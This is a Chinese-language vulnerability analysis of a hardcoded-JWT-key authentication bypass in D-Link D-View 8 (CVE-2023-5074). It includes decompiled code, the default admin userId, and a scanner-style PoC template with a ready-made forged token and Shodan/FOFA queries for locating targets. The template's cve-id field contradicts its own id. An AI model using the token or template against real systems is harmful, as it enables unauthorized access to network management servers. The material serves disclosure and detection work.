原理
由于JWT令牌的安全校验使用的是硬编码,导致攻击者可伪造合法的JWT令牌进行访问。
危害
由于默认情况下,初始管理员的 userId 是相同的,未授权攻击者可以利用 JWT 密钥配合该 userId 伪造令牌,从而访问受保护的API路由。
分析
Tenable的一名研究人员在D-Link D-View 8 v2.0.1.28中发现了一个身份验证绕过漏洞。
D-View 8使用硬编码的密钥(D-Link)来保护用户身份验证中使用的JWT令牌:
// webApi-0.0.1-SNAPSHOT.jar!com.dlink.dview8.webapi.utils.TokenUtils
public static String verifyToken(String token) {
if (Utils.isEmpty(token))
return null;
Algorithm algorithm = Algorithm.HMAC256("D-Link");
JWTVerifier verifier = JWT.require(algorithm).build();
DecodedJWT jwt = verifier.verify(token);
return jwt.getClaim("userId").asString();
}
D-View 8支持通过API key登录,但如果没有为登录用户配置API key,则不检查JWT令牌(accessToken)中提供的API key合法性:
// webApi-0.0.1-SNAPSHOT.jar!com.dlink.dview8.webapi.base.shiro.WebApiRealm
} else if (type == DViewConstant.LoginType.ApiKey) {
String restApiKey = TokenUtils.getRestApiKey(accessToken);
boolean isFindApiKeyToken = false;
List<RestApiKey> apiKeys = this.restApiKeyDBService.queryRestApiKeyByUserId(userId, new String[] { "key", "status" });
if (!Utils.isEmpty(apiKeys)) {
for (RestApiKey apiKey : apiKeys) {
if (restApiKey.equals(apiKey.getKey()) && apiKey.getStatus() != null && apiKey.getStatus().intValue() == 1)
isFindApiKeyToken = true;
}
if (!isFindApiKeyToken) {
log.error("REST API Key Token is invaild.");
throw new UnknownAccountException("user.token.invalid");
}
}
安装D-View 8后,默认不会为Admin用户设置API key。
此外,admin的userId在所有安装中似乎都是相同的(59171d56-e6b4-4789-90ff-a7a27fd48548)。使用已知的JWT密钥,未经身份验证的远程攻击者可以制作有效的JWT令牌,并使用该令牌访问受保护的API。
POC
id: CVE-2023-5074
info:
name: D-Link D-View 8 v2.0.1.28 - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2023-32
- https://nvd.nist.gov/vuln/detail/CVE-2023-5074
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-0563
cwe-id: CWE-798
epss-score: 0.00563
epss-percentile: 0.74832
cpe: cpe:2.3:a:dlink:d-view_8:2.0.1.28:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1317621215
fofa-query: icon_hash="-1317621215"
vendor: dlink
product: d-view_8
tags: cve,cve2023,d-link,auth-bypass
http:
- raw:
- |
GET /dview8/api/usersByLevel HTTP/1.1
Host: {{Hostname}}
Authorization: eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "userName") && contains(body, "passWord") && contains(body, "isEmailActivate")'
- 'contains(header, "application/json")'
condition: and